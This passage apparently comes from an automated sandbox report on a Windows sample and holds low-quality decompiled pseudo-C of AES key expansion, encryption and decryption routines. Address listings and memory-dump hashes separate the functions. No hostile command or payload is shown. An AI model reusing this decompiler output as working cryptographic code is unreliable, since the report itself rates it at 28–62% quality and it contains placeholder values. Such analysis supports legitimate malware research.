                                                                								asm("aeskeygenassist xmm1, xmm0, 0x36");
                                                                								E00ABB3B0(_t47, _t64);
                                                                								asm("movups [edx], xmm0");
                                                                								 *((intOrPtr*)(_t64 + 0x50)) = 9;
                                                                							}
                                                                							L19:
                                                                							asm("pxor xmm0, xmm0");
                                                                							asm("pxor xmm1, xmm1");
                                                                							asm("pxor xmm2, xmm2");
                                                                							asm("pxor xmm3, xmm3");
                                                                							asm("pxor xmm4, xmm4");
                                                                							asm("pxor xmm5, xmm5");
                                                                							return 0;
                                                                						}
                                                                					}
                                                                				}
                                                                			}







































                                                                0x00abb2d7
                                                                0x00abb2e4
                                                                0x00abb2e7
                                                                0x00abb2ed
                                                                0x00abb2ed
                                                                0x00abb2f0
                                                                0x00abb2fc
                                                                0x00abb620
                                                                0x00abb624
                                                                0x00abb62d
                                                                0x00abb720
                                                                0x00abb724
                                                                0x00abb729
                                                                0x00abb72e
                                                                0x00abb733
                                                                0x00abb737
                                                                0x00abb73c
                                                                0x00abb73c
                                                                0x00abb741
                                                                0x00abb746
                                                                0x00abb74a
                                                                0x00abb74f
                                                                0x00abb753
                                                                0x00abb758
                                                                0x00abb75c
                                                                0x00abb761
                                                                0x00abb765
                                                                0x00abb76a
                                                                0x00abb76e
                                                                0x00abb772
                                                                0x00abb773
                                                                0x00000000
                                                                0x00000000
                                                                0x00abb779
                                                                0x00abb77e
                                                                0x00abb782
                                                                0x00abb787
                                                                0x00abb78b
                                                                0x00abb790
                                                                0x00abb794
                                                                0x00abb799
                                                                0x00abb79d
                                                                0x00abb7a2
                                                                0x00abb7a6
                                                                0x00abb7aa
                                                                0x00abb7af
                                                                0x00abb7af
                                                                0x00abb7b2
                                                                0x00abb7b2
                                                                0x00abb7c0
                                                                0x00abb633
                                                                0x00abb638
                                                                0x00abb63c
                                                                0x00abb640
                                                                0x00abb646
                                                                0x00abb64b
                                                                0x00abb651
                                                                0x00abb656
                                                                0x00abb65c
                                                                0x00abb661
                                                                0x00abb667
                                                                0x00abb66c
                                                                0x00abb672
                                                                0x00abb677
                                                                0x00abb67d
                                                                0x00abb682
                                                                0x00abb688
                                                                0x00abb68d
                                                                0x00abb693
                                                                0x00abb698
                                                                0x00abb69e
                                                                0x00abb6a3
                                                                0x00abb6a9
                                                                0x00abb6ae
                                                                0x00abb6b4
                                                                0x00abb6b9
                                                                0x00abb6bf
                                                                0x00abb6c4
                                                                0x00abb6ca
                                                                0x00abb6cf
                                                                0x00abb6d2
                                                                0x00abb6d5
                                                                0x00000000
                                                                0x00abb302
                                                                0x00abb308
                                                                0x00abb4b0
                                                                0x00abb4bb
                                                                0x00abb5a0
                                                                0x00abb5a5
                                                                0x00abb5aa
                                                                0x00abb5af
                                                                0x00abb5b4
                                                                0x00abb5b4
                                                                0x00abb5b8
                                                                0x00abb5bc
                                                                0x00abb5c1
                                                                0x00abb5c6
                                                                0x00abb5cb
                                                                0x00abb5ce
                                                                0x00abb5d2
                                                                0x00abb5d7
                                                                0x00abb5db
                                                                0x00abb5e0
                                                                0x00abb5e4
                                                                0x00abb5e9
                                                                0x00abb5ed
                                                                0x00abb5f2
                                                                0x00abb5f6
                                                                0x00abb5fb
                                                                0x00abb5ff
                                                                0x00abb603
                                                                0x00abb607
                                                                0x00abb60c
                                                                0x00abb60c
                                                                0x00abb618
                                                                0x00abb4c1
                                                                0x00abb4c6
                                                                0x00abb4ca
                                                                0x00abb4d0
                                                                0x00abb4d5
                                                                0x00abb4db
                                                                0x00abb4e0
                                                                0x00abb4e6
                                                                0x00abb4eb
                                                                0x00abb4f1
                                                                0x00abb4f6
                                                                0x00abb4fc
                                                                0x00abb501
                                                                0x00abb507
                                                                0x00abb50c
                                                                0x00abb512
                                                                0x00abb517
                                                                0x00abb51d
                                                                0x00abb522
                                                                0x00abb525
                                                                0x00abb525
                                                                0x00000000
                                                                0x00abb30e
                                                                0x00abb314
                                                                0x00abb7e8
                                                                0x00abb7f3
                                                                0x00abb320
                                                                0x00abb326
                                                                0x00abb3d0
                                                                0x00abb3d4
                                                                0x00abb3d9
                                                                0x00abb3de
                                                                0x00abb3e2
                                                                0x00abb3e7
                                                                0x00abb3e7
                                                                0x00abb3ec
                                                                0x00abb3f1
                                                                0x00abb3f6
                                                                0x00abb3f9
                                                                0x00abb3fd
                                                                0x00abb402
                                                                0x00abb406
                                                                0x00abb40b
                                                                0x00abb40f
                                                                0x00abb414
                                                                0x00abb418
                                                                0x00abb41c
                                                                0x00abb421
                                                                0x00abb425
                                                                0x00abb425
                                                                0x00abb42c
                                                                0x00abb431
                                                                0x00abb436
                                                                0x00abb43b
                                                                0x00abb440
                                                                0x00abb444
                                                                0x00abb449
                                                                0x00abb44d
                                                                0x00abb452
                                                                0x00abb456
                                                                0x00abb45b
                                                                0x00abb45f
                                                                0x00abb463
                                                                0x00abb467
                                                                0x00abb46b
                                                                0x00abb470
                                                                0x00abb475
                                                                0x00abb479
                                                                0x00abb47e
                                                                0x00abb482
                                                                0x00abb487
                                                                0x00abb48b
                                                                0x00abb490
                                                                0x00abb494
                                                                0x00abb498
                                                                0x00abb4a2
                                                                0x00abb32c
                                                                0x00abb331
                                                                0x00abb335
                                                                0x00abb33b
                                                                0x00abb340
                                                                0x00abb346
                                                                0x00abb34b
                                                                0x00abb351
                                                                0x00abb356
                                                                0x00abb35c
                                                                0x00abb361
                                                                0x00abb367
                                                                0x00abb36c
                                                                0x00abb372
                                                                0x00abb377
                                                                0x00abb37d
                                                                0x00abb382
                                                                0x00abb388
                                                                0x00abb38d
                                                                0x00abb393
                                                                0x00abb398
                                                                0x00abb39e
                                                                0x00abb3a3
                                                                0x00abb3a6
                                                                0x00abb3a6
                                                                0x00abb7c3
                                                                0x00abb7c3
                                                                0x00abb7c7
                                                                0x00abb7cb
                                                                0x00abb7cf
                                                                0x00abb7d3
                                                                0x00abb7d7
                                                                0x00abb7df
                                                                0x00abb7df
                                                                0x00abb314
                                                                0x00abb308

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 256eabd704f61cb6b4546a34197e8c7bff3aaec5fe10f756912f17df96a69e9f
                                                                • Instruction ID: 2707f6f1d4c8425ccd31abd72db16df4f85ad0ec3c44f64aa9e661084fcf8e24
                                                                • Opcode Fuzzy Hash: 256eabd704f61cb6b4546a34197e8c7bff3aaec5fe10f756912f17df96a69e9f
                                                                • Instruction Fuzzy Hash: 63A1C121C2AF894AE7173B354557290E334AFF3244F50CB06FDA178967EBA1B6C85271
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 28%
                                                                			E00ABAF30(void* _a4, void* _a8, int _a12, intOrPtr _a16, void* _a20, intOrPtr _a24) {
                                                                				intOrPtr _v0;
                                                                				int _t28;
                                                                				signed int _t29;
                                                                				void* _t30;
                                                                				void* _t31;
                                                                				void* _t32;
                                                                				void* _t33;
                                                                				void* _t34;
                                                                				void* _t35;
                                                                				void* _t36;
                                                                				void* _t37;
                                                                				void* _t39;
                                                                				void* _t42;
                                                                				intOrPtr _t44;
                                                                				intOrPtr _t45;
                                                                				int _t49;
                                                                				intOrPtr _t54;
                                                                				void* _t55;
                                                                				void* _t56;
                                                                				void* _t57;
                                                                				void* _t61;
                                                                				void* _t63;
                                                                				intOrPtr _t66;
                                                                				intOrPtr _t68;
                                                                				void* _t69;
                                                                
                                                                				_t63 = _a4;
                                                                				_t57 = _a8;
                                                                				_t28 = _a12;
                                                                				_t42 = _t68 - 0x00000018 & 0xfffffff0;
                                                                				_t54 = _a16;
                                                                				if(_t28 == 0) {
                                                                					return _t28;
                                                                				}
                                                                				_t69 = _t42;
                                                                				asm("movups xmm7, [ebp]");
                                                                				_t45 =  *((intOrPtr*)(_t54 + 0xf0));
                                                                				_t66 = _t54;
                                                                				_v0 = _t68;
                                                                				_t44 = _t45;
                                                                				if(_a24 == 0) {
                                                                					if(_t28 <= 0x50) {
                                                                						L16:
                                                                						asm("movups xmm2, [esi]");
                                                                						asm("movaps xmm6, xmm2");
                                                                						if(_t28 <= 0x10) {
                                                                							asm("movups xmm0, [edx]");
                                                                							asm("movups xmm1, [edx+0x10]");
                                                                							_t55 = _t54 + 0x20;
                                                                							asm("xorps xmm2, xmm0");
                                                                							do {
                                                                								asm("aesdec xmm2, xmm1");
                                                                								_t45 = _t45 - 1;
                                                                								asm("movups xmm1, [edx]");
                                                                								_t22 = _t55 + 0x10; // 0xcccccccc
                                                                								_t55 = _t22;
                                                                							} while (_t45 != 0);
                                                                							asm("aesdeclast xmm2, xmm1");
                                                                							asm("xorps xmm2, xmm7");
                                                                							asm("movaps xmm7, xmm6");
                                                                							_t29 = _t28 - 0x10;
                                                                							goto L28;
                                                                						}
                                                                						asm("movups xmm3, [esi+0x10]");
                                                                						asm("movaps xmm5, xmm3");
                                                                						if(_t28 <= 0x20) {
                                                                							_t31 = E00AB8880(_t28, _t45, _t54);
                                                                							asm("xorps xmm2, xmm7");
                                                                							asm("xorps xmm3, xmm6");
                                                                							asm("movups [edi], xmm2");
                                                                							asm("movaps xmm2, xmm3");
                                                                							asm("pxor xmm3, xmm3");
                                                                							_t57 = _t57 + 0x10;
                                                                							asm("movaps xmm7, xmm5");
                                                                							_t29 = _t31 - 0x20;
                                                                						} else {
                                                                							asm("movups xmm4, [esi+0x20]");
                                                                							if(_t28 <= 0x30) {
                                                                								_t32 = E00AB8960(_t28, _t45, _t54);
                                                                								asm("xorps xmm2, xmm7");
                                                                								asm("xorps xmm3, xmm6");
                                                                								asm("xorps xmm4, xmm5");
                                                                								asm("movups [edi], xmm2");
                                                                								asm("movaps xmm2, xmm4");
                                                                								asm("pxor xmm4, xmm4");
                                                                								asm("movups [edi+0x10], xmm3");
                                                                								asm("pxor xmm3, xmm3");
                                                                								_t57 = _t57 + 0x20;
                                                                								asm("movups xmm7, [esi+0x20]");
                                                                								_t29 = _t32 - 0x30;
                                                                							} else {
                                                                								asm("movups xmm5, [esi+0x30]");
                                                                								if(_t28 <= 0x40) {
                                                                									_t33 = E00AB8A70(_t28, _t45, _t54);
                                                                									asm("movups xmm1, [esi+0x10]");
                                                                									asm("movups xmm0, [esi+0x20]");
                                                                									asm("xorps xmm2, xmm7");
                                                                									asm("movups xmm7, [esi+0x30]");
                                                                									asm("xorps xmm3, xmm6");
                                                                									asm("movups [edi], xmm2");
                                                                									asm("xorps xmm4, xmm1");
                                                                									asm("movups [edi+0x10], xmm3");
                                                                									asm("pxor xmm3, xmm3");
                                                                									asm("xorps xmm5, xmm0");
                                                                									asm("movups [edi+0x20], xmm4");
                                                                									asm("pxor xmm4, xmm4");
                                                                									_t57 = _t57 + 0x30;
                                                                									asm("movaps xmm2, xmm5");
                                                                									asm("pxor xmm5, xmm5");
                                                                									_t29 = _t33 - 0x40;
                                                                								} else {
                                                                									asm("movups xmm6, [esi+0x40]");
                                                                									asm("movaps [esp], xmm7");
                                                                									asm("movups xmm2, [esi]");
                                                                									asm("xorps xmm7, xmm7");
                                                                									_t34 = E00AB8BE0(_t28, _t45, _t54);
                                                                									asm("movups xmm1, [esi]");
                                                                									asm("movups xmm0, [esi+0x10]");
                                                                									asm("xorps xmm2, [esp]");
                                                                									asm("xorps xmm3, xmm1");
                                                                									asm("movups xmm1, [esi+0x20]");
                                                                									asm("xorps xmm4, xmm0");
                                                                									asm("movups xmm0, [esi+0x30]");
                                                                									asm("xorps xmm5, xmm1");
                                                                									asm("movups xmm7, [esi+0x40]");
                                                                									asm("xorps xmm6, xmm0");
                                                                									asm("movups [edi], xmm2");
                                                                									asm("movups [edi+0x10], xmm3");
                                                                									asm("pxor xmm3, xmm3");
                                                                									asm("movups [edi+0x20], xmm4");
                                                                									asm("pxor xmm4, xmm4");
                                                                									asm("movups [edi+0x30], xmm5");
                                                                									asm("pxor xmm5, xmm5");
                                                                									_t57 = _t57 + 0x40;
                                                                									asm("movaps xmm2, xmm6");
                                                                									asm("pxor xmm6, xmm6");
                                                                									_t29 = _t34 - 0x50;
                                                                								}
                                                                							}
                                                                						}
                                                                						goto L28;
                                                                					} else {
                                                                						asm("movaps [esp], xmm7");
                                                                						_t35 = _t28 - 0x50;
                                                                						while(1) {
                                                                							asm("movdqu xmm2, [esi]");
                                                                							asm("movdqu xmm3, [esi+0x10]");
                                                                							asm("movdqu xmm4, [esi+0x20]");
                                                                							asm("movdqu xmm5, [esi+0x30]");
                                                                							asm("movdqu xmm6, [esi+0x40]");
                                                                							asm("movdqu xmm7, [esi+0x50]");
                                                                							_t36 = E00AB8BE0(_t35, _t45, _t54);
                                                                							asm("movups xmm1, [esi]");
                                                                							asm("movups xmm0, [esi+0x10]");
                                                                							asm("xorps xmm2, [esp]");
                                                                							asm("xorps xmm3, xmm1");
                                                                							asm("movups xmm1, [esi+0x20]");
                                                                							asm("xorps xmm4, xmm0");
                                                                							asm("movups xmm0, [esi+0x30]");
                                                                							asm("xorps xmm5, xmm1");
                                                                							asm("movups xmm1, [esi+0x40]");
                                                                							asm("xorps xmm6, xmm0");
                                                                							asm("movups xmm0, [esi+0x50]");
                                                                							asm("xorps xmm7, xmm1");
                                                                							asm("movups [edi], xmm2");
                                                                							asm("movups [edi+0x10], xmm3");
                                                                							_t17 = _t63 + 0x60; // 0xcccccccc
                                                                							_t63 = _t17;
                                                                							asm("movups [edi+0x20], xmm4");
                                                                							_t45 = _t44;
                                                                							asm("movups [edi+0x30], xmm5");
                                                                							_t54 = _t66;
                                                                							asm("movups [edi+0x40], xmm6");
                                                                							_t57 = _t57 + 0x50;
                                                                							_t35 = _t36 - 0x60;
                                                                							if(_t35 <= 0) {
                                                                								break;
                                                                							}
                                                                							asm("movaps [esp], xmm0");
                                                                							asm("movups [edi], xmm7");
                                                                							_t57 = _t57 + 0x10;
                                                                						}
                                                                						asm("movaps xmm2, xmm7");
                                                                						asm("movaps xmm7, xmm0");
                                                                						_t29 = _t35 + 0x50;
                                                                						if(_t29 <= 0) {
                                                                							asm("pxor xmm3, xmm3");
                                                                							asm("pxor xmm4, xmm4");
                                                                							asm("pxor xmm5, xmm5");
                                                                							asm("pxor xmm6, xmm6");
                                                                							L28:
                                                                							_t30 = _t29 & 0x0000000f;
                                                                							if(_t30 != 0) {
                                                                								asm("movaps [esp], xmm2");
                                                                								asm("pxor xmm0, xmm0");
                                                                								_t30 = memcpy(_t57, _t69, 0x10);
                                                                								asm("movdqa [esp], xmm2");
                                                                							} else {
                                                                								asm("movups [edi], xmm2");
                                                                								asm("pxor xmm0, xmm0");
                                                                							}
                                                                							L31:
                                                                							asm("pxor xmm2, xmm2");
                                                                							asm("pxor xmm1, xmm1");
                                                                							asm("movups [ebp], xmm7");
                                                                							asm("pxor xmm7, xmm7");
                                                                							return _t30;
                                                                						}
                                                                						asm("movups [edi], xmm2");
                                                                						_t57 = _t57 + 0x10;
                                                                						goto L16;
                                                                					}
                                                                				}
                                                                				asm("movaps xmm2, xmm7");
                                                                				if(_t28 < 0x10) {
                                                                					L9:
                                                                					_t49 = _t28;
                                                                					_t37 = memcpy(_t57, _t63, _t49);
                                                                					_t61 = _t63 + _t49 + _t49;
                                                                					_t39 = memset(_t61, 0, 0x10 << 0);
                                                                					_t69 = _t69 + 0x18;
                                                                					_t57 = _t61 + 0x10 - _t37 - 0x10;
                                                                					_t45 = _t44;
                                                                					_t63 = _t57;
                                                                					_t54 = _t66;
                                                                					goto L4;
                                                                				} else {
                                                                					_t39 = _t28 - 0x10;
                                                                					do {
                                                                						L4:
                                                                						asm("movups xmm7, [esi]");
                                                                						_t10 = _t63 + 0x10; // 0xcccccccc
                                                                						_t63 = _t10;
                                                                						asm("movups xmm0, [edx]");
                                                                						asm("movups xmm1, [edx+0x10]");
                                                                						asm("xorps xmm7, xmm0");
                                                                						_t56 = _t54 + 0x20;
                                                                						asm("xorps xmm2, xmm7");
                                                                						do {
                                                                							asm("aesenc xmm2, xmm1");
                                                                							_t45 = _t45 - 1;
                                                                							asm("movups xmm1, [edx]");
                                                                							_t12 = _t56 + 0x10; // 0xcccccccc
                                                                							_t56 = _t12;
                                                                						} while (_t45 != 0);
                                                                						asm("aesenclast xmm2, xmm1");
                                                                						_t45 = _t44;
                                                                						_t54 = _t66;
                                                                						asm("movups [edi], xmm2");
                                                                						_t57 = _t57 + 0x10;
                                                                						_t39 = _t39 - 0x10;
                                                                					} while (_t39 >= 0);
                                                                					_t28 = _t39 + 0x10;
                                                                					if(_t28 != 0) {
                                                                						goto L9;
                                                                					} else {
                                                                						asm("movaps xmm7, xmm2");
                                                                						asm("pxor xmm2, xmm2");
                                                                						goto L31;
                                                                					}
                                                                				}
                                                                			}




























                                                                0x00abaf34
                                                                0x00abaf3a
                                                                0x00abaf41
                                                                0x00abaf45
                                                                0x00abaf48
                                                                0x00abaf52
                                                                0x00abb2b6
                                                                0x00abb2b6
                                                                0x00abaf5d
                                                                0x00abaf5f
                                                                0x00abaf63
                                                                0x00abaf69
                                                                0x00abaf6b
                                                                0x00abaf6f
                                                                0x00abaf71
                                                                0x00abb013
                                                                0x00abb0c1
                                                                0x00abb0c1
                                                                0x00abb0c4
                                                                0x00abb0ca
                                                                0x00abb160
                                                                0x00abb163
                                                                0x00abb167
                                                                0x00abb16a
                                                                0x00abb16d
                                                                0x00abb16d
                                                                0x00abb172
                                                                0x00abb173
                                                                0x00abb176
                                                                0x00abb176
                                                                0x00abb176
                                                                0x00abb17f
                                                                0x00abb184
                                                                0x00abb187
                                                                0x00abb18a
                                                                0x00000000
                                                                0x00abb18a
                                                                0x00abb0d0
                                                                0x00abb0d4
                                                                0x00abb0da
                                                                0x00abb1a0
                                                                0x00abb1a5
                                                                0x00abb1a8
                                                                0x00abb1ab
                                                                0x00abb1ae
                                                                0x00abb1b1
                                                                0x00abb1b5
                                                                0x00abb1b8
                                                                0x00abb1bb
                                                                0x00abb0e0
                                                                0x00abb0e0
                                                                0x00abb0e7
                                                                0x00abb1d0
                                                                0x00abb1d5
                                                                0x00abb1d8
                                                                0x00abb1db
                                                                0x00abb1de
                                                                0x00abb1e1
                                                                0x00abb1e4
                                                                0x00abb1e8
                                                                0x00abb1ec
                                                                0x00abb1f0
                                                                0x00abb1f3
                                                                0x00abb1f7
                                                                0x00abb0ed
                                                                0x00abb0ed
                                                                0x00abb0f4
                                                                0x00abb200
                                                                0x00abb205
                                                                0x00abb209
                                                                0x00abb20d
                                                                0x00abb210
                                                                0x00abb214
                                                                0x00abb217
                                                                0x00abb21a
                                                                0x00abb21d
                                                                0x00abb221
                                                                0x00abb225
                                                                0x00abb228
                                                                0x00abb22c
                                                                0x00abb230
                                                                0x00abb233
                                                                0x00abb236
                                                                0x00abb23a
                                                                0x00abb0fa
                                                                0x00abb0fa
                                                                0x00abb0fe
                                                                0x00abb102
                                                                0x00abb105
                                                                0x00abb108
                                                                0x00abb10d
                                                                0x00abb110
                                                                0x00abb114
                                                                0x00abb118
                                                                0x00abb11b
                                                                0x00abb11f
                                                                0x00abb122
                                                                0x00abb126
                                                                0x00abb129
                                                                0x00abb12d
                                                                0x00abb130
                                                                0x00abb133
                                                                0x00abb137
                                                                0x00abb13b
                                                                0x00abb13f
                                                                0x00abb143
                                                                0x00abb147
                                                                0x00abb14b
                                                                0x00abb14e
                                                                0x00abb151
                                                                0x00abb155
                                                                0x00abb155
                                                                0x00abb0f4
                                                                0x00abb0e7
                                                                0x00000000
                                                                0x00abb019
                                                                0x00abb019
                                                                0x00abb01d
                                                                0x00abb03a
                                                                0x00abb03a
                                                                0x00abb03e
                                                                0x00abb043
                                                                0x00abb048
                                                                0x00abb04d
                                                                0x00abb052
                                                                0x00abb057
                                                                0x00abb05c
                                                                0x00abb05f
                                                                0x00abb063
                                                                0x00abb067
                                                                0x00abb06a
                                                                0x00abb06e
                                                                0x00abb071
                                                                0x00abb075
                                                                0x00abb078
                                                                0x00abb07c
                                                                0x00abb07f
                                                                0x00abb083
                                                                0x00abb086
                                                                0x00abb089
                                                                0x00abb08d
                                                                0x00abb08d
                                                                0x00abb090
                                                                0x00abb094
                                                                0x00abb096
                                                                0x00abb09a
                                                                0x00abb09c
                                                                0x00abb0a0
                                                                0x00abb0a3
                                                                0x00abb0a6
                                                                0x00000000
                                                                0x00000000
                                                                0x00abb030
                                                                0x00abb034
                                                                0x00abb037
                                                                0x00abb037
                                                                0x00abb0ac
                                                                0x00abb0af
                                                                0x00abb0b2
                                                                0x00abb0b5
                                                                0x00abb250
                                                                0x00abb254
                                                                0x00abb258
                                                                0x00abb25c
                                                                0x00abb260
                                                                0x00abb260
                                                                0x00abb263
                                                                0x00abb280
                                                                0x00abb284
                                                                0x00abb293
                                                                0x00abb295
                                                                0x00abb269
                                                                0x00abb269
                                                                0x00abb26c
                                                                0x00abb26c
                                                                0x00abb29a
                                                                0x00abb2a2
                                                                0x00abb2a6
                                                                0x00abb2aa
                                                                0x00abb2ae
                                                                0x00000000
                                                                0x00abb2ae
                                                                0x00abb0bb
                                                                0x00abb0be
                                                                0x00000000
                                                                0x00abb0be
                                                                0x00abb013
                                                                0x00abaf77
                                                                0x00abaf7d
                                                                0x00abafe5
                                                                0x00abafe5
                                                                0x00abafe9
                                                                0x00abafe9
                                                                0x00abaff6
                                                                0x00abaff6
                                                                0x00abaff8
                                                                0x00abaffb
                                                                0x00abaffd
                                                                0x00abafff
                                                                0x00000000
                                                                0x00abaf83
                                                                0x00abaf83
                                                                0x00abaf90
                                                                0x00abaf90
                                                                0x00abaf90
                                                                0x00abaf93
                                                                0x00abaf93
                                                                0x00abaf96
                                                                0x00abaf99
                                                                0x00abaf9d
                                                                0x00abafa0
                                                                0x00abafa3
                                                                0x00abafa6
                                                                0x00abafa6
                                                                0x00abafab
                                                                0x00abafac
                                                                0x00abafaf
                                                                0x00abafaf
                                                                0x00abafaf
                                                                0x00abafb8
                                                                0x00abafbd
                                                                0x00abafbf
                                                                0x00abafc1
                                                                0x00abafc4
                                                                0x00abafc7
                                                                0x00abafc7
                                                                0x00abafd0
                                                                0x00abafd3
                                                                0x00000000
                                                                0x00abafd9
                                                                0x00abafd9
                                                                0x00abafdc
                                                                0x00000000
                                                                0x00abafdc
                                                                0x00abafd3

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1c67d0a1af6e8a7f01c2d12470aae2a1adc6c6e898a60526834b0ff204231690
                                                                • Instruction ID: 655996d45381f6506b51890b67172fccf990304420b09630f5c1808aba1955c8
                                                                • Opcode Fuzzy Hash: 1c67d0a1af6e8a7f01c2d12470aae2a1adc6c6e898a60526834b0ff204231690
                                                                • Instruction Fuzzy Hash: C3919610D18F9D47E6169F3D85411F7B3A0BFBE308B15DB0AEDD936822DB60B6D59240
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 62%
                                                                			E00AC17E0(signed int* _a12) {
                                                                				void* _t46;
                                                                				signed int _t49;
                                                                				signed int _t66;
                                                                				signed int _t75;
                                                                				signed int _t78;
                                                                				signed int _t105;
                                                                				signed int _t108;
                                                                				signed int _t130;
                                                                				signed int _t133;
                                                                				intOrPtr* _t141;
                                                                				signed int* _t142;
                                                                				intOrPtr* _t145;
                                                                
                                                                				_t46 = E00AC1500();
                                                                				if(_t46 == 0) {
                                                                					_t145 = _a12;
                                                                					_t141 = _t145 +  *(_t145 + 0xf0) * 4 * 4;
                                                                					do {
                                                                						 *_t141 =  *_t145;
                                                                						 *((intOrPtr*)(_t141 + 4)) =  *((intOrPtr*)(_t145 + 4));
                                                                						 *_t145 =  *_t141;
                                                                						 *((intOrPtr*)(_t145 + 4)) =  *((intOrPtr*)(_t141 + 4));
                                                                						 *((intOrPtr*)(_t141 + 8)) =  *((intOrPtr*)(_t145 + 8));
                                                                						 *((intOrPtr*)(_t141 + 0xc)) =  *((intOrPtr*)(_t145 + 0xc));
                                                                						 *((intOrPtr*)(_t145 + 8)) =  *((intOrPtr*)(_t141 + 8));
                                                                						 *((intOrPtr*)(_t145 + 0xc)) =  *((intOrPtr*)(_t141 + 0xc));
                                                                						_t145 = _t145 + 0x10;
                                                                						_t141 = _t141 - 0x10;
                                                                					} while (_t145 != _t141);
                                                                					_t142 = _a12;
                                                                					_a12 = _t142 + (_t142[0x3c] + _t142[0x3c] - 2) * 8;
                                                                					_t49 = _t142[4];
                                                                					do {
                                                                						_t142 =  &(_t142[4]);
                                                                						_t75 = _t49 + _t49 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t49) >> 0x00000007) & 0x1b1b1b1b;
                                                                						_t100 = _t75 + _t75 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t75) >> 0x00000007) & 0x1b1b1b1b;
                                                                						asm("rol eax, 0x8");
                                                                						asm("rol ebx, 0x18");
                                                                						asm("rol ecx, 0x10");
                                                                						asm("rol edx, 0x8");
                                                                						_t78 = _t142[1];
                                                                						 *_t142 = _t49 ^ _t75 ^ _t49 ^ _t75 + _t75 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t75) >> 0x00000007) & 0x1b1b1b1b ^ _t49 ^ (_t75 + _t75 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t75) >> 0x00000007) & 0x1b1b1b1b) + _t100 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t100) >> 0x00000007) & 0x1b1b1b1b ^ _t75 ^ _t49 ^ (_t75 + _t75 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t75) >> 0x00000007) & 0x1b1b1b1b) + _t100 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t100) >> 0x00000007) & 0x1b1b1b1b ^ _t75 + _t75 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t75) >> 0x00000007) & 0x1b1b1b1b ^ _t49 ^ (_t75 + _t75 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t75) >> 0x00000007) & 0x1b1b1b1b) + _t100 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t100) >> 0x00000007) & 0x1b1b1b1b ^ (_t75 + _t75 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t75) >> 0x00000007) & 0x1b1b1b1b) + _t100 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t100) >> 0x00000007) & 0x1b1b1b1b;
                                                                						_t105 = _t78 + _t78 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t78) >> 0x00000007) & 0x1b1b1b1b;
                                                                						_t125 = _t105 + _t105 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t105) >> 0x00000007) & 0x1b1b1b1b;
                                                                						asm("rol ebx, 0x8");
                                                                						asm("rol ecx, 0x18");
                                                                						asm("rol edx, 0x10");
                                                                						asm("rol eax, 0x8");
                                                                						_t108 = _t142[2];
